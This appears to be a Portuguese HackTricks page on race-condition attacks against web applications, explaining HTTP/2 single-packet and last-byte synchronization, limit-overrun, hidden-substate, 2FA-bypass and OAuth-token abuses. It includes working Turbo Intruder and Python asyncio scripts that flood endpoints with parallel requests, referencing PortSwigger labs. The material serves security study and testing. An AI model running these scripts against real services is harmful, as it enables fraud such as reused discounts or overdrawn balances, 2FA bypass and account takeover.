# Condição de Corrida
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% hint style="warning" %}
Para obter uma compreensão profunda dessa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Aperfeiçoando Ataques de Condição de Corrida
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações:
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida.
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor.
A **Preparação para a Sincronização de Último Byte** envolve:
1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
2. Pausar por 100ms após o envio inicial.
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
4. Fazer um ping para aquecer a conexão.
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
### Adaptando-se à Arquitetura do Servidor
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
#### Lidando com Bloqueios Baseados em Sessão
Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar tokens de sessão diferentes para cada solicitação pode contornar esse problema.
#### Superando Limites de Taxa ou Recursos
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida.
## Exemplos de Ataque
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
{% endhint %}
* **Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
* Para **limit-overrun** você poderia simplesmente adicionar a **mesma solicitação 50 vezes** no grupo.
* Para **aquecimento de conexão**, você poderia **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações.
* Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
### Bruto BF
Antes da pesquisa anterior, essas eram algumas cargas úteis usadas que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
* **Repeater:** Verifique os exemplos da seção anterior.
* **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30.**
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=','Session=','Session=']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **Metodologia RC**
### Limite de estouro / TOCTOU
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.**
Existem muitas variações desse tipo de ataque, incluindo:
* Resgatar um cartão-presente várias vezes
* Avaliar um produto várias vezes
* Sacar ou transferir dinheiro acima do saldo da sua conta
* Reutilizar uma solução CAPTCHA única
* Bypass de um limite de taxa anti-brute-force
### **Subestados ocultos**
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
1. **Identificar Subestados Ocultos Potenciais**
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
- **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
- **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
- **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
2. **Conduzir Sondagem Inicial**
- Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
3. **Demonstrar a Vulnerabilidade**
- Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
### Ataques Sensíveis ao Tempo
A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas.
**Para Explorar:**
- Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
**Exemplo:**
- Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token.
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para tentar isso.**
## Estudos de caso de subestados ocultos
### Pagar e adicionar um item
Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar por ele**.
### Confirmar outros e-mails
A ideia é **verificar um endereço de e-mail e alterá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo alterado.
### Alterar e-mail para 2 endereços de e-mail baseados em Cookie
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a uma tomada de controle dessa maneira porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para tentar isso.**
### Estados ocultos do banco de dados / Bypass de confirmação
Se **2 gravações diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**.
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para tentar isso.**
### Bypass 2FA
O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Persistência eterna do OAuth2
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \ deseja acessar suas informações, você deseja permitir?_"
#### Condição de corrida em `authorization_code`
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
#### Condição de corrida em `Refresh Token`
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
## **RC em WebSockets**
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
## Referências
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}